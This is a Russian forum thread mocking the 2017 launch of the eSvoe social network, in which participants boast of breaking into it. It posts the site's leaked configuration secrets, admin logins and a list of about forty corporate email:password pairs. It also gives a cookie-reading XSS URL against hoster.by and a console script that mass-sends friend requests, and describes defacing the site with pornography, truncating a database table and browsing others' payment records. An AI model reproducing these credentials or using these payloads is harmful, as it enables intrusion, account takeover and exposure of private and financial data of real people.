1. PHP / Говнокод #23357

    0

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    Как слышно из новостей, сейчас вся Украина замерла в ожидании открытия некой невъебенной национальной социальной сети от какой-то
хитрожопой дамы, решившей попилить бабло на горячей теме. Помпезный лендинг с формой подписки расположен по адресу: http://esvoe.com/
Путём нехитрого перебора доменов первого уровня был установлен адрес тестового сайта: http://esvoe.com.ua/
В общем, использоваться будет готовый говнодвижок "Socialite" (увидеть можно в директории "/public/"), листинг корневых сайтов виден
всем желающим, а при тестировании используются такие нехитрые ники, как "Твоя мамка".

Порядком подзаебла тема "моих", "национальных", "монетизированных" и тому подобных "социальных сетей". Смысла тягаться с "ВКонтакте"
и "Facebook" нет как по причине необоримой узнаваемости данных брендов, так и по причине того, что мощность их дата-центров в охулиарды
раз превышает мощность обоссаного VDS-а за какие-нибудь псят гривенок. Все, очевидно, забыли о быстром взлёте школьной поделки "Друзi"
на nulled-версии "Vii Engine" до уровня в сто тысяч зарегистрированных пользователей и о последующем молниеносном скатывании в кучу
бегемотьего навоза. Также никого ничему не научила история с белорусским клоном "ВКонтакте", "VSeti.By", на который в последние годы
всем было похуй. 

А чего стоят дешёвые приманки в стиле "платим рупь за пост"...

    Запостил: AnalPerOral, 24 Сентября 2017

    Комментарии (389) RSS

    • ava inho 24.09.2017 23:06 # +1

      Похоже, что кто-то опять начал срать ворециями. 3.1415, ты ли это?
      Ответить

    • ava inkanus-gray 25.09.2017 00:10 # 0

      Не ошибается тот, кто ничего не делает.

      P.S. Сразу видно, что настоящий европейский сайт:
      http://esvoe.com.ua/storage/uploads/wallpapers/2017-09-13-06-26-40kvr-L7VQjbU.jpg
      Ответить

    • ava SemaReal 25.09.2017 14:25 # −3

      Прыщебляди красноглазые и свинособаки насрали себе в рот
      Ответить

    • ava sslion 27.09.2017 07:37 # −1

      http://esvoe.com/ - это типа "Ё-мое" ))))
      Ответить

    • ava Stallman 27.09.2017 14:59 # 0

      На VSeti.By теперь висит унылый лендинг какого-то эраундера - очередного ведроид-онли убийцы гриндра - https://play.google.com/store/apps/details?id=at.arounder.android
      Забавляют комментарии на гугл-плее автора-бугуртня:
      Если у всех работает, а у вас нет, то нужно задуматься в первую очередь о том, что проблема с вашим телефоном / руками, а не писать ерунду в комментариях
      Впредь так и буду отвечать тестировщикам :3
      Ответить

      • ava inkanus-gray 10.10.2017 21:40 # +2

        Кстати, о белорусах. На правах офтопика:

        http://hoster.by/?error=Кто+в+2017+году+так+делает?

        P.S. Знаки < и > заменяются на & lt ; и на & gt ;
        " заменяется на & quot ;
        Ответить

        • ava AnalPerOral 10.10.2017 22:00 # 0

          По крайней мере, нынешние браузеры блокируют выполнение переданных через URL скриптов.
          Ответить

        • ava Stallman 11.10.2017 00:55 # +3

          Ага, "заыскейпили", блять.
          https://hoster.by/?error=%27);alert(%27Your%20cookies:%20%27%252Bdocument.cookie);window.location=%27http:%252F%252Fesvoe.com%27%7D)%252F%252F
          Ответить

          • ava inkanus-gray 11.10.2017 02:11 # +1

            Гэта гамон!
            Ответить

          • ava inkanus-gray 11.10.2017 03:27 # +1

            Один алерт уже есть, поэтому код можно сократить:
            https://hoster.by/?error=Your%20cookies:%20%27%252Bdocument.cookie%29;window.location=%27http:%252F%252Fesvoe.com%27%7D%29%252F%252F
            Ответить

            • ava SemaReal 11.10.2017 03:59 # +4

              Удобно когда небольшая страна.

              Хостинг всегда на https://hoster.by/
              Интернет от http://provider.by/
              А купить что-то можно в shop.by
              Ответить

    • ava AnalPerOral 30.09.2017 00:21 # 0

      Всё, говносеть открылась. Зарегистрировался, чисто поржать, изучаю.
      Ответить

      • ava AnalPerOral 30.09.2017 00:22 # +1

        Зарегистрироваться-то зарегистрировался, да только при попытке открыть раздел "Люди" меня обдало душком 502-й ошибки. И дальше, как в тумане...
        Ответить

        • ava AnalPerOral 30.09.2017 00:38 # +3

          Туман развеялся, и я продолжил шествие по афинским развалинам. Как я и писал ранее, говносеть сляпана из "Socialite", который авторы сайта не потрудились хоть как-то усовершенствовать функционально, обратив всё своё внимание на создание красивого (ну, а хуле) дизайна и на вёрстку пустых, ничего не значащих, но многообещающих HTML-блоков типа "События" (с громогласным текстом-рыбой "295 374 участников") или "Предлагаемые группы" (где у каждой мифической группы строго "3 141(3 друзей)" участников). Раздела "Люди", как оказалось, не существует вообще.
          После пятиминутного изучения говнеца, вброшенного на обесточенный вентилятор, пришёл к выводу, что функционально создатели украинской "убийцы Facebook" никак не доработали "Socialite", и вводят публику в заблуждение путём расстановки неактивных статических блоков и ссылок. Девяноста процентов функционала, который обещает визуальный интерфейс, не существует.
          А теперь вспомним помпезный обратный отсчёт времени до открытия сайта, пафосные телерепортажи и общую шумиху в целом.
          Это оказалось ещё хуже, чем галимые "Друзi" (у которых хотя бы был весь функционал, достаточный для более-менее полноценного общения).
          Ответить

          • ava AnalPerOral 30.09.2017 00:57 # +3

            Раздел "Музыка" также оказался фикцией - доступна лишь вкладка "Онлайн-Радио" со спизженным откуда-то готовым виджетом; вкладки же "Моя музыка" и "Музыка друзей" неактивны, из чего делаем вывод, что ничего, кроме четырёх слов, они из себя не представляют.
            Зато, блядь, Flash-покер есть и он работает.
            Ответить

          • ava inkanus-gray 30.09.2017 01:23 # +3

            > вёрстку пустых, ничего не значащих, но многообещающих HTML-блоков типа "События" (с громогласным текстом-рыбой "295 374 участников") или "Предлагаемые группы" (где у каждой мифической группы строго "3 141(3 друзей)" участников)

            Антипаттерн «Дым и зеркала». Классика.
            Ответить

            • ava SemaReal 30.09.2017 02:29 # +4

              Говорят что в ВК в начале была такая херь: "уже зарегистрировано N" и это N увеличивалось джаваскриптом со случайной скоростью вообще без связи с сервером
              Ответить

              • ava AnalPerOral 30.09.2017 02:49 # +1

                Вот она: http://web.archive.org/web/20080710232717/http://vkontakte.ru:80/
                Ответить

                • ava SemaReal 30.09.2017 05:10 # +4

                  Нас уже 14 485 260.

                  Гейтс напиздел айбиэму что у него уже есть дос, хотя его еще у него не было
                  Лебедев делал фейковые буклеты известных фирм и врал заказчику что это его портфолио (хотя эти фирмы о его сущестовании даже не знали)
                  Дуров врал что его уже 14 миллионов

                  Все врут
                  пиздец
                  Ответить

                  • ava AnalPerOral 30.09.2017 08:32 # +3

                    У "eSvoe" всё гораздо проще - они гордо именуют себя "Першопрохідці".

                    https://esvoe.com/esvoe

                    "Прохідці" чего?

                    P.S.: масоньё за эти четыре года довело меня с этой украинской кампанией до того, что я теперь спокойно читаю любые тексты на украинском языке безо всяких онлайн-переводчиков, отлично понимая смысл.
                    Ответить

                  • ava 1024-- 30.09.2017 17:59 # +5

                    > Гейтс напиздел айбиэму что у него уже есть дос, хотя его еще у него не было
                    > Все врут
                    Сёма, набиржу, Сёма!
                    Набирже всякая торговля без покрытия, кредитные деривативы и прочее тасование платных обещаний. А тут детские игры.
                    Ответить

    • ava AnalPerOral 02.10.2017 00:47 # +4

      APP_ENV=server
      APP_DEBUG=true
      APP_KEY=base64:KuxYYEfbhVuIZZAXV826Kk8U3 pBYnnJdaLZ3JJuuIVE=
      APP_URL=https://sand.esvoe.com
      APP_PAY=https://pay.esvoe.com
      PAY_IP=5.79.84.174
      STATIC_HOST=https://static.esvoe.com

      DB_CONNECTION=mysql
      DB_HOST=localhost
      DB_PORT=3306
      DB_DATABASE=esvoe_sand
      DB_USERNAME=worker
      DB_PASSWORD=VLKDK2L63T

      CACHE_DRIVER=redis
      SESSION_DRIVER=file
      QUEUE_DRIVER=sync

      REDIS_HOST=127.0.0.1
      REDIS_PASSWORD=null
      REDIS_PORT=6379

      MAIL_DRIVER=smtp
      MAIL_HOST=smtp.esvoe.com
      MAIL_PORT=25
      [email protected]
      MAIL_PASSWORD=L6b7H8r4
      MAIL_ENCRYPTION=none
      SWIFT_MAIL_LOG=true

      [email protected]
      MAIL_

      SOUNDCLOUD_CLIENT_ID=

      GOOGLE_MAPS_API_KEY=AIzaSyC1uxRdQYpbecjz CuZLo06Tny2tK0YcBGU

      NOCAPTCHA_SECRET=6LfTvSIUAAAAAKGqx0ueTrC oBAMYf2hiRTJpEpEP
      NOCAPTCHA_SITEKEY=6LfTvSIUAAAAAP4g9nbODA IZ7Fk2q-2nl3pKBsfJ

      STRIPE_KEY=pk_test_agFDnmOqOgaWuTkfCrFZO uqa


      BROADCAST_DRIVER=pusher
      PUSHER_APP_ID=367606
      PUSHER_APP_KEY=7a12cdebc837e00f059d
      PUSHER_APP_SECRET=31d726ecc82a15715c60
      PUSHER_APP_CLUSTER=eu

      FACEBOOK_CLIENT_ID=655007471371282
      FACEBOOK_CLIENT_SECRET=be79d92fe299e4ee8 f109643d7c88f4f

      GOOGLE_CLIENT_ID=735991831140-d12dj2cvdfdo1hq5a7knjadnjj7t0u06.apps.go ogleusercontent.com
      GOOGLE_CLIENT_SECRET=jHVZpLbrRmbDh9R2Rt7 UJzBm

      TWITTER_CLIENT_ID=
      TWITTER_CLIENT_SECRET=

      LINKEDIN_CLIENT_ID=
      LINKEDIN_CLIENT_SECRET=
      Ответить

      • ava gost 02.10.2017 06:27 # +4

        Тяжёлый случай. Его ещё не дефейснули?
        Ответить

      • ava inho 02.10.2017 09:48 # +1

        Есть ещё новости?
        Ответить

        • ava AnalPerOral 02.10.2017 17:49 # +4

          Есть. Взломана панель администратора и зарегистрированные пользователи с ID>=500 имеют возможность наблюдать во весь экран браузера фотографию неприличного содержания.
          Кстати, фурора что-то не наблюдается - на сайте всего лишь две тысячи триста зарегистрированных пользователей.
          Ответить

          • ava inho 02.10.2017 18:57 # +2

            Напиши потом на хуябре как это гамно сломал. Интересно такие байки читать.
            Ответить

            • ava AnalPerOral 02.10.2017 19:01 # 0

              Аккаунта нет.
              Ответить

              • ava inho 02.10.2017 22:46 # +1

                Создай. И напейши в песочницу.
                Ответить

                • ava AnalPerOral 02.10.2017 22:57 # +5

                  Там это будет расценено, как обычное хвастовство (хотя и здесь не лучше).
                  Вкратце, суть в том, что вчера сайт после чьего-то очередного взлома (XSS-инъекция и белый экран) не работал часа два. Я периодически обновлял его. Наконец, он открылся; но разработчик позабыл (не заметив миниатюрную иконку) отключить встроенную в "Laravel" панель отладки "PHP". В оной же присутствует такая функция, как отладка не только текущего запроса, но и любых других запросов, произошедших за последнее время. Я произвёл поиск по параметру "URL", равному "/login", и параметру "Method", равному "POST", и нашёл несколько запросов авторизации, произведённых сразу после открытия сайта. Путём перебора значившихся в них авторизационных данных я обнаружил логин "worker" и пароль "socialite", которые и открыли мне доступ к панели администратора. Далее в общих настройках сайта оставалось лишь дописать необходимый JS-код в поле "Код Google Analytics".
                  Ответить

                  • ava inho 02.10.2017 23:00 # +1

                    А как подобрал логин и пароль?
                    Ответить

                    • ava AnalPerOral 02.10.2017 23:01 # +1

                      >>>"Я произвёл поиск по параметру "URL", равному "/login", и параметру "Method", равному "POST", и нашёл несколько запросов авторизации, произведённых сразу после открытия сайта. Путём перебора значившихся в них авторизационных данных я обнаружил логин "worker" и пароль "socialite""
                      Ответить

                      • ava syoma 15.01.2018 00:08 # 0

                        Чот не понял. Там логировались логины?
                        Ответить

                  • ava bormand 02.10.2017 23:02 # +4

                    > панель отладки
                    > доступная всем подряд без аутентификации
                    Фееричный пиздец, конечно. Такие "фичи" специально запиливают, чтобы админы могли отстрелить себе ногу?
                    Ответить

                    • ava AnalPerOral 02.10.2017 23:06 # +4

                      По всей видимости, она была включена на тестовом сайте (это уже их дело - имеют право), и при переносе файлов движка на рабочий сервер и открытии сайта разработчик не обратил на это внимания (так как по умолчанию, без соответствующей метки в "cookies", панель скрыта за расположенным в нижнем углу мелким значком 32х32).
                      Ответить

                      • ava bormand 02.10.2017 23:30 # +2

                        Имхо, таким несекьюрным "фичам" даже на тестовом сервере не место. Мало ли - белый айпишник навесят на время какой-нибудь демонстрации или просто отрубить забудут.

                        > скрыта за значком
                        Security by obscurity во всей красе.
                        Ответить

                        • ava AnalPerOral 02.10.2017 23:45 # +3

                          >>>"Security by obscurity во всей красе"

                          Тот же подход был использован и для "защиты" тестового сервера от левых заходов. Они решили, что "beta.", "alpha.", "test." и "dev." - слишком очевидно, и приняли решение использовать для тестов домен https://sand.esvoe.com. При этом по IP-адресу доступ всё так же не фильтруется.
                          Ответить

                        • ava syoma 15.01.2018 00:09 # −1

                          Может и норм. Только на сайте должно быть большими буквами "debug mode on".
                          Ответить

            • ava AnalPerOral 02.10.2017 20:04 # 0

              https://www.facebook.com/strumchinska

              Уже обсуждают.
              Ответить

              • ava Stallman 02.10.2017 20:42 # +3


                > Мазур Олександра, я понимаю что вы распиарены и на этой волне хотите поднять бабла... Но если на вашем сайте будут и далее выпрыгивать гей-порно фото, толку будет мало...
                Ответить

          • ava AnalPerOral 02.10.2017 22:15 # +6

            Я предусмотрел, чтобы порнуха не демонстрировалась членам административного аппарата сети (путём условия "ID>=500"), так что они долго оставались в неведении (и Струмчинская даже успела записать и выложить очередное видеообращение, не потрудившись ознакомиться с комментариями к предыдущим постам), и веселуха в комментариях продолжалась ещё часа четыре. Но сейчас-то они, наконец, прозрели.
            Ответить

        • ava AnalPerOral 02.10.2017 18:12 # +4

          Есть уже и логин с паролем от production-БД, но воспользоваться ими мне пока не удаётся, так как "phpMyAdmin" или "adminer" я обнаружить не смог и БД защищена от внешних подключений.
          Ответить

          • ava inkanus-gray 03.10.2017 01:41 # +3

            Даже redis наружу не торчит, что для такого корыта даже удивительно.
            Ответить

            • ava Stallman 03.10.2017 01:48 # +6

              Ничего удивительного. В убунте, на коей все это добро вертится, по дефолту редис слушает 127.0.0.1 онли. Так что разрабам просто повезло, что умные дяди уже всё сделали за них.
              Ответить

      • ava inkanus-gray 03.10.2017 00:41 # +5

        На https://pay.esvoe.com/ висит сайт:

        Відкриття вже скоро
        4 Днів 7 Годин 41 Хвилин 50 Секунд

        P.S. Радует эксклюзивная орфография: «Особыстий кабінет».

        В современной русской орфографии есть «и» и «ы», но нет «і».
        В современной белорусской орфографии есть «і» и «ы», но нет «и».
        В современной украинской орфографии есть «і» и «и», но нет «ы».

        У этих чертей есть все три буквы.
        Ответить

        • ava inkanus-gray 03.10.2017 00:49 # +4

          P.P.S. Счётчик увеличивается. Т. е. по факту он считает дни не ДО открытия, а ПОСЛЕ открытия.
          Ответить

        • ava AnalPerOral 03.10.2017 00:54 # +1

          Ылита, хулi.
          Ответить

        • ava Stallman 03.10.2017 01:25 # +6

          Всё нормально, это по-русински. http://bit.ly/2xTeWbq
          Ответить

          • ava inkanus-gray 03.10.2017 02:56 # +5

            Кстати, короткие ссылки на статью:

            https://ru.wikipedia.org/w/?curid=11551

            https://ru.wikipedia.org/w/?oldid=87416705

            Способ получения ссылок описан в документации по API MediaWiki, но кто же его смотрит!
            Ответить

        • ava AnalPerOral 03.10.2017 01:57 # 0

          Вообще, мне нравится украинский язык с точки зрения того, что над написанными на нём текстами иногда можно неплохо поржать. Как пример, один из последних комментариев к официальному видео про инновационную сеть:

          >>>"після цього https://itmages.ru/image/view/6140463/88bb7ae5 хтось схоче мати справи із сайтом який контролює хєрзнахто?"

          Последнее слово очень интересное.
          Ответить

        • ava AnalPerOral 07.10.2017 07:39 # +5

          https://pay.esvoe.com открылся. Любопытно, что данные банковских карт они собирают самостоятельно, без независимого процессинга. Доверишь так им эту информацию, а потом Шура в один прекрасный день психанёт и почистит карты всех плательщиков...

          Интересна страница https://pay.esvoe.com/payment/done/90 - методом перебора номера транзакции можно смотреть любые чужие платежи.
          Ответить

          • ava bormand 07.10.2017 08:23 # +4

            > данные банковских карт они собирают самостоятельно
            > можно смотреть любые чужие платежи
            Репортни эту хуйню их банку, кстати. Есть вероятность, что кое-кто на время останется без платёжной системы.
            Ответить

            • ava AnalPerOral 07.10.2017 10:46 # +2

              Ещё мякотка: панель администратора "Pay" доступна без авторизации (sic!), что не особо удивляет, учитывая, что движок - самописный.

              https://pay.esvoe.com/admin/users

              В смысле, форма авторизации в панели администратора есть, но, как мы теперь видим, она не особо-то и нужна...
              Ответить

          • ava inkanus-gray 07.10.2017 15:03 # +3

            Номера транзакций можно вытащить из логов:
            https://pay.esvoe.com/admin/logs/2017/10/01/param_response.log
            Ответить

          • ava AnalPerOral 08.10.2017 14:45 # +1

            Кстати, Виталий Олейничук всё так же пользуется латвийской банковской картой (исходя из BIN-а):

            https://pay.esvoe.com/payment/done/130/
            Ответить

      • ava AnalPerOral 03.10.2017 01:54 # +1

        Если что:

        http://mail.esvoe.com/
        Логин и пароль выше.
        Ответить

        • ava inkanus-gray 03.10.2017 02:16 # +2

          Ну это уже совсем неспортивно...

          Кстати, популярный украинский сервис i.ua считает письма с сервера esvoe.com спамом и отправляет в карантин, так что у пользователей могут быть проблемы с активацией учёток.
          Ответить

        • ava inkanus-gray 03.10.2017 02:21 # +1

          Важно: если е-мейл адрес не верифицирован до Sun, Oct 1, 2017, доменные имена, указанные ниже, будут деактивированы.
          Доменные имена:
          esvoe.mobi
          esvoe.club
          esvoe.biz
          esvoe.org
          esvoe.net
          and 1 more
          Ответить

          • ava inkanus-gray 03.10.2017 02:25 # +3

            Самое смешное, что стоимость домена была указана в российских рублях.

            На Миротворец!
            Ответить

        • ava solnze_dar 03.10.2017 02:40 # +3

          https://i.imgur.com/lXqyXWd.jpg
          Ответить

        • ava Stallman 03.10.2017 02:40 # +5

          Было еще несколько безуспешных попыток пропиарить своё говно через педивикию, при чём с разными названиями статьи, типа, а вдруг не заметят, но коллективный разум так просто не проведешь, и статья была беспощадно выпилена. Ибо нехуй!
          Ответить

        • ava gost 03.10.2017 06:46 # +3

          >> Я Сергій Козуля. Ліквідуйте мою сторінку в Є СВОЄ!!! Там спам порно і я не хочу бачити такого. Ви Обіцяли Захист Та Порядність. Майте Совість!!!
          Ответить

          • ava AnalPerOral 03.10.2017 10:05 # +2

            https://www.youtube.com/watch?v=ENSlTsi-vFY

            Как думаете, за спиной у Шуры действительно кипит работа или все эти мужики - статисты, научившиеся лишь с "умным" видом прокручивать туда-сюда консоль браузера с HTML-кодом?...
            И надо ли столько народу для того, чтобы сляпать сайт на готовом движке?
            Ответить

            • ava Stallman 03.10.2017 12:21 # +4

              Может, он жс с ниграми ищет? Это смотрится всяко естественнее, чем медитация на программу ping, типа, смотрите, я погромист и хацкор, в консоли чёрной сижу. https://content.onliner.by/news/original_size/cced54199f2e4b6e4ed61c853ed5939d.jpeg
              Да и, на самом деле, я б тоже работать не смог, если бы за моей спиной шароёбились какие-то мудаки с камерой.
              Ответить

              • ava gost 03.10.2017 17:52 # +4

                На фотке молодой специалист в области информационных технологий устанавливает инновационные программы -ping и tping на образовательные терминалы ВУЗов?
                Ответить

      • ava AnalPerOral 03.10.2017 12:33 # +5

        http://mail.esvoe.com/data/settings/settings.xml
        http://mail.esvoe.com/phpmyadmin/

        Программисты - просто заебца.
        Ответить

        • ava inho 03.10.2017 18:45 # +1

          LOOOOOL
          Ответить

        • ava SemaReal 04.10.2017 03:06 # +3

          <AdminLogin>admin</AdminLogin>
          <AdminPassword>7f2yqfdt9O</AdminPassword>
          Ответить

          • ava AnalPerOral 04.10.2017 03:10 # +2

            Как раз только что получил доступ ко всем семидесяти шести корпоративным электронным почтовым ящикам, принадлежащим заправляющей "eSvoe.com" конторе. А всё лишь благодаря тупости разработчика, в результате которой пароль от БД остался открытым, а "phpMyAdmin" - доступным.
            Ответить

            • ava SemaReal 04.10.2017 03:11 # +3

              Да ты русский хакер. Тебя надо на пожизненное посадить
              Ответить

              • ava AnalPerOral 04.10.2017 03:12 # +1

                Тут опасаться нечего - я нахожусь в России, "eSvoe.com" - на Украине, их владельцы вообще в Латвии; а Интерпол мелкими делами не занимается. Да и "Tor"...
                Ответить

                • ava SemaReal 04.10.2017 03:13 # −4

                  >>- я нахожусь в России, "eSvoe.com" - на Украине
                  hrookni, svinosobaka
                  Ответить

                  • ava SemaReal 04.10.2017 03:16 # −2

                    пидарахи, вы зачем меня минусуете??
                    маму свою минусните
                    Ответить

        • ava SemaReal 04.10.2017 03:09 # +1

          <DBLogin>afterlogic</DBLogin>
          <DBPassword>7f2yqfdt9O</DBPassword>
          http://mail.esvoe.com/phpmyadmin/

          транкетнул таблицу
          Ответить

          • ava inho 04.10.2017 22:56 # +1

            Я попытался зайти по этому логину/паролю. За мной уже выехали СБУшники?
            Ответить

            • ava inkanus-gray 05.10.2017 01:56 # +3

              Кстати, пароль от базы и от почты только что сменили. Они наконец-то заметили, что на их сервер ходят все, кому не лень.
              Ответить

    • ava inkanus-gray 02.10.2017 23:06 # +4

      Где всё? Там теперь живёт наш знакомый Андыр Констракшин.
      Ответить

      • ava Stallman 03.10.2017 01:35 # +6

        Починили. Я там очень популярная. Стоило только группу создать, как в нее вступило 115 человек и 16 друзей! ^_^
        Ответить

        • ava AnalPerOral 03.10.2017 01:50 # +5

          Позавчера меня тоже уверяли, сразу после регистрации, что два мероприятия, численностью в 295 374 фантома каждое, никак не могут состояться без моего участия. Долго думал, к кому примкнуть.
          Ответить

    • ava AnalPerOral 04.10.2017 04:00 # +2

      [email protected]:K0v0B9u0
      [email protected]:3J8u2Q9m
      [email protected]:*#Kh$HZh2
      [email protected]:DAJaiSHS2
      [email protected]:2A6g9G6o
      [email protected]:I8d5L8f3
      [email protected]:$oXkIDZ0
      [email protected]:7P2h1K9z
      [email protected]:M5q5V3a4
      [email protected]:1S5w8N4i
      [email protected]:6H6n1C6w
      [email protected]:5O0q4X6q
      [email protected]:7G1p0Q2z
      [email protected]:O3d8B0a2
      [email protected]:N4w3Y1f0
      [email protected]:Z2i8B0v7
      [email protected]:2F5h1H0z
      [email protected]:M1a7U1x3
      [email protected]:E9l0H4i4
      [email protected]:4O0d1I4p
      [email protected]:A5v1R6w2
      [email protected]:5H6l8G4k
      [email protected]:4A0l6B7u
      [email protected]:M8v7T4w2
      [email protected]:D4b1P4e5
      [email protected]:P3u1Y8r2
      [email protected]:C6h5X4e2
      [email protected]:2I2m3C4r
      [email protected]:9H0y0V2b
      [email protected]:1K7n0V 0t
      [email protected]:1M6l8D4j
      [email protected]:L1f5K2y9
      [email protected]:5A7v3D9r
      [email protected]:9E5u2O6s
      [email protected]:H5r5Z6u2
      [email protected]:9T4q6S2c
      [email protected]:P6n8U9a1
      [email protected]:8C1p6K9q
      [email protected]:1V5k5B5v
      [email protected]:5G8p4Y3d
      Ответить

    • ava Stallman 04.10.2017 20:19 # +1

      https://youtu.be/jsUI7tDvmR4?t=20m11s
      Ответить

    • ava inkanus-gray 05.10.2017 01:59 # +1

      http://politikus.ru/events/99752-zapusk-novoy-ukrainskoy-socseti-esvoe-obernulsya-konfuzom.html

      И почему-то ни слова про гей-порно.
      Ответить

    • ava Stallman 05.10.2017 02:08 # +2

      О, еще один убийца ВК.
      https://ц.укр/
      Ответить

      • ava inkanus-gray 05.10.2017 02:13 # +1

        > Перенесіть все з VK

        Для того, чтобы авторизоваться в VK, нужно... иметь доступ к VK, которого в незалежной сейчас официально нет.
        Ответить

    • ava CHayT 05.10.2017 17:31 # +6

      Все, кто ругают эту соцсеть, просто застряли в 20м веке и не понимают, как должны делаться продукты. Они всё правильно сделали: зарелизили minimal value package.
      Ответить

    • ava AnalPerOral 06.10.2017 11:42 # +7

      Короче, ещё один прелюбопытнейший моментик: пользователь видит в общей ленте не только посты от "друзей", но и от тех, кто только отправил ему заявку в друзья. Таким образом можно неплохо мусорить в масштабах нескольких тысяч пользователей (я снова вернулся к любимой теме с фотографиями стиля "ню"), просто автоматизированно разослав всем пользователям заявки в друзья.

      for(i=1;i<=4000;i++){
$.post('/friend/ajax/add', 'user_id='+i+'&_token='+($('meta[name=csrf_token]').attr('content')));
}


      Запускаем этот скрипт в консоли браузера, ждём минут пять, чтобы все запросы обработались, после чего постим в ленту всё, что угодно. Эффект подтверждён - уведомления о жалобах приходят едва ли не ежесекундно.
      Ответить

      • ava vistefan 06.10.2017 11:48 # +4

        Чувак, ты реально крэйзи.
        Ответить

        • ava AnalPerOral 06.10.2017 11:50 # +4

          Да, я псих.
          Ответить

          • ava vistefan 06.10.2017 12:55 # +4

            Попробуй ещё как-нибудь денег заработать на е-свое. Рекламу, например, сделать кому-нибудь этим способом с лентой. Тебя гусары в полку на руках носить будут.
            В казино вулкан во всю эту ебалу напиши. Там в постах вроде теги работают, на ютубе видел человек <marquee> встраивал, может там можно заембедить прямо флешку с рекламой.
            Ответить

      • ava inho 06.10.2017 12:20 # +4

        Они догадались до csrf_token, ну нихуя себе!
        Ответить

    • ava turboblack 06.10.2017 14:37 # +3

      в видео на ютюб (на украинском языке) пытался донести до социума что не надо бл*ать создавать свои говносоциалки, к-во которых в Украине уже доходит до сотни... вчера получил звонок от человека, который предлагал сотрудничество. как вы думаете какой проект у него был? )))))))))))
      более любопытный видос вышел немного раньше, после которого Олександра таки сказала у себя на фб страничке, что это движок (не уточнила правда, какой), и что инновации не в нем! а в чем бл*ть инновации? в дырах и в х*ях?
      дизайн украденый с сайта евровет http://euro.vet . впрочем что я... https://www.youtube.com/watch?v=OEaBh55TNkI&t=4s тут для поржать, вот.

      п.с. я не хотел никогда быть видеоблоггером, но действия Струмчинской просто порвали мой пердак. 2 видео за неделю! при том что до этого я никогда ни чего не снимал.

      п.п.с.
      кстати это не она автор проекта, она собрала солянку из предыдущих вариантов, нашла быдлокодеров, которые под руководством политдеятеля https://www.facebook.com/slokavo - создают этот сайт за деньги налогоплательщиков.

      п.п.п.с.
      но самое веселое видео, это где она показывала разработчиков (в кавычках) данного сайта, у которых на столах кубик-рубик, маленький кактус, и даже пустой стаканчик под вискарь ))))). у разработчиков на мониторах было открыто сами знаете что ))), это уже сверху написано, тоесть чистый фарс.
      Ответить

      • ava AnalPerOral 06.10.2017 15:20 # +3

        https://www.youtube.com/watch?v=jsUI7tDvmR4

        Твоё видео? Ты меня на 22:38 назвал "школяром"?
        Ответить

        • ava turboblack 06.10.2017 15:35 # +2

          видео не мое, но на видео я. если ты не понимаешь контекста, то я поясню.
          суть мысли была в том, что сайт может взломать даже школяр. это раз.
          два - твой взлом, который ты делал с этими педерастическими фотками это реально баловство, которое свойственно школоте, взрослый человек скорее воспользуется дырой в свою пользу, либо же просто сообщит.

          устали спорить с создателями этого Гэ, и решили не помогать им в прямом, и переносном смысле, пускай сами ищут дыры.

          а тебя это обидело????
          Ответить

          • ava AnalPerOral 06.10.2017 15:43 # +5

            >>>"а тебя это обидело????"

            Никак нет.
            "Клубничка" была показана для того, чтобы слегка сбить спесь с Шуры, уверенной в том, что мелкие, как ей казалось, ошибки останутся незамеченными или что общество ей их легко простит. Благодаря специальному условию в коде Шура и её помощнички долго не видели "клубничку" (пока остальная толпа вовсю рыготала над нею в "FaceBook"), и прознали о ней, когда было уже поздно и нельзя было надеяться на плохую память народа.
            Выше я уже описал - функционала там минимум, и основную визуальную часть сайта составляют статические HTML-блоки с фейковой информацией (типа "События" и "Предлагаемые группы"). "Музыки" нет, "Людей" нет, "Доски объявлений" нет, инноваций нет; зато покер есть.
            Ответить

            • ava turboblack 06.10.2017 15:51 # +3

              дальше больше. был до этого пару месяцев назад такой сайт как ц.укр
              на котором парни используют vii в качестве двигана, и впаривают людям, что там 300 тыщ регистраций, хотя на самом деле там и ста нет ))). а предустановленные примочки движка и плагины потом указывают как инновации ))).

              вобще. уже со времен существования секты свидетелей Струмчинской слово инновации начало у меня вызывать какой-то внезапный ржач.
              даже когда я его слышал уже вне разговоров про есвое я еле сдерживаюсь ))).

              в видео я указывал на одно из видео в ютюбе, в котором показывается фокус с мишкой, который портит на нет интерфейс есвое.

              п.с. название проекта скорее для алкашей. бухать будешь? нет, я со своим. прямой перевод ))). тем более что на презентации они раздавали сувенирные кружки, якобы намекая ))))))
              Ответить

              • ava AnalPerOral 06.10.2017 16:13 # +5

                В одном из почтовых ящиков как раз была найдена переписка за 26-е и 27-е сентября, в ходе которой они договаривались с некоей студией печати об изготовлении и поставке футболок, кружек и, зачем-то, картонных коробок с символикой сайта. Помимо этого, был обнаружен список кодов готовившихся к печати скретч-карт для пополнения внутреннего счёта на сайте.

                P.S.: Ты был на презентации? Если да, то шла ли там речь о скретч-картах? И есть ли видеозапись презентации?
                Ответить

                • ava turboblack 06.10.2017 16:21 # +2

                  я там выше оставил ссылку на ютюб политдеятеля, где есть видосы с телефона с презентации, и послепрезентационная содомия. самой презентации там было пару минут для сми, а потом пьянка, видимо твои проделки обмывали. а нашу помятую пионер-вожатую там тоже видно ))). весело, однако.
                  Ответить

                • ava SemaReal 11.10.2017 04:34 # +3

                  Это правильно.

                  Когда делаешь свой интернет-стартап надо всегда начинать с чашек с логотипом. Остальное приложится.
                  Ответить

              • ava SemaReal 11.10.2017 04:00 # +3

                vii в качестве двигана и vi в качестве IDE
                Ответить

          • ava AnalPerOral 06.10.2017 15:54 # +4

            Рекомендую ознакомиться со всем содержимым данного поста - возможно, оно окажется неплохим материалом для следующего видео. Вкратце: взлом удался из-за того, что разработчик сайта (не то владелец кактуса, не то игрок в кубик Рубика) оставил к панели администратора пароль по умолчанию ("socialite"); далее мне оставалось лишь вставить код, демонстрирующий боди-арт почти всем пользователям. Затем был получен доступ ко всем корпоративным электронным почтовым ящикам их конторы (почему-то там слишком часто фигурировала Латвия) благодаря плававшему на поверхности паролю к базе данных. Наконец, сегодня обнаружилось, что можно добавить за один раз всех пользователей сайта к себе в друзья и публиковать в ленту на весь сайт всё, что угодно.
            Ответить

            • ava turboblack 06.10.2017 16:03 # +3

              а благодаря всем раскладам за последнюю неделю, и новостям исходящих - имеем такие вот замечательные мемасики https://image.ibb.co/icdB5b/22237054_1797166303644280_1655418501_n.j pg
              Ответить

      • ava inho 06.10.2017 23:35 # +2

